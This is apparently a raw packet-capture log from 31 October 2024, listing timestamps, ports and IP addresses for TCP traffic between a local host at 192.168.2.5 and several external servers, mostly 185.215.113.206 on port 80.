Oct 31, 2024 03:04:31.582475901 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582479000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582488060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582499027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582523108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582528114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582542896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582554102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582566977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582590103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582591057 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582602024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582612038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582621098 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582623959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582655907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582675934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582690954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582700968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582721949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582731009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582740068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582751036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582761049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582762957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582789898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582794905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582812071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582817078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582824945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582835913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582848072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582854033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582854033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582880974 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582901955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582914114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582935095 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582942009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582957029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582958937 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582967043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582977057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582990885 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582998991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582998991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583045006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583066940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583077908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583089113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583100080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583108902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583132982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583184004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583194971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583205938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583225012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583234072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583245039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583246946 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583255053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583272934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583273888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583297014 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583324909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583342075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583350897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583383083 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583389997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583400011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583409071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583419085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583425999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583451986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583539009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583550930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583560944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583585978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583592892 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583596945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583607912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583611965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583619118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583638906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583663940 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583681107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583692074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583725929 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583761930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583772898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583782911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583791971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583797932 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583803892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583831072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583853006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.583956957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583976984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.583995104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584006071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584014893 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.584017992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584028959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584039927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584042072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.584050894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584062099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584072113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.584090948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.584101915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.584126949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584136009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584173918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.584248066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584259033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584269047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.584294081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.584311962 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.604103088 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.606725931 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.606738091 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.607440948 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.607445955 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.628808022 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.629184008 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.629190922 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.629528046 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.630158901 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.630208015 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.630948067 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.631140947 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.631153107 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.631488085 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.631983995 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.632060051 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.651695967 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.651741028 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.651916981 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.653969049 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.653981924 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.657367945 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.657650948 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.657721043 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.658322096 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.658332109 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.658351898 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.658359051 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.660954952 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.660984039 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.661057949 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.661678076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.661691904 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.661705017 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.662733078 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.662767887 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.662832022 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.662954092 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.662971973 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.666480064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.728620052 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.728625059 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.733542919 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:31.733771086 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:31.733782053 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:31.734298944 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:31.734585047 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:31.734659910 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:31.734736919 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:31.734750032 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:31.734755039 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:31.735008955 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.735110044 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.735524893 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.735608101 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.735608101 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.735618114 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.735625029 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.738301039 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.738315105 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.738477945 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.738629103 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.738636017 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.751988888 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.752635956 CET	49858	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.752650976 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.753102064 CET	49858	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.753107071 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.776371002 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.777426004 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.777442932 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.778182983 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.778189898 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.883197069 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.883378029 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.883443117 CET	49858	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.886637926 CET	49858	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.886647940 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.892189026 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.892226934 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.892430067 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.892596006 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.892621040 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.904947042 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.905162096 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.905277967 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.905481100 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.905493021 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.905534983 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.905540943 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.908030033 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.908054113 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.908142090 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.908281088 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.908294916 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.946950912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.946964025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.946974993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.946988106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947006941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947020054 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947024107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947036982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947046041 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947047949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947061062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947072983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947084904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947093010 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947113037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947122097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947125912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947138071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947139978 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947149038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947164059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947190046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947201014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947220087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947231054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947242022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947252989 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947261095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947264910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947276115 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947277069 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947303057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947309971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947321892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947334051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947340012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947359085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947377920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947385073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947413921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947416067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947427034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947452068 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947464943 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947509050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947520018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947531939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947549105 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947568893 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947585106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947597027 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947606087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.947627068 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.947637081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948014021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948024988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948035955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948072910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948085070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948169947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948180914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948191881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948203087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948214054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948215961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948225975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948239088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948252916 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948267937 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948307991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948321104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948333025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948344946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948344946 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948355913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948376894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948400021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948436975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948450089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948461056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948471069 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948482990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948484898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948494911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948507071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948513031 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948518038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948537111 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948555946 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948715925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948734045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948745966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948755026 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948756933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948775053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948786020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948786020 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948796988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948821068 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948821068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948833942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948833942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948843956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948856115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948862076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948867083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948879004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948879004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948890924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.948905945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.948925018 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.003612995 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.003644943 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.003665924 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.003705978 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.003719091 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.003748894 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.003766060 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.063560963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.063580036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.063592911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.063625097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.063637972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.063642979 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.063648939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.063667059 CET	80	49823	185.215.113.206	192.168.2.5
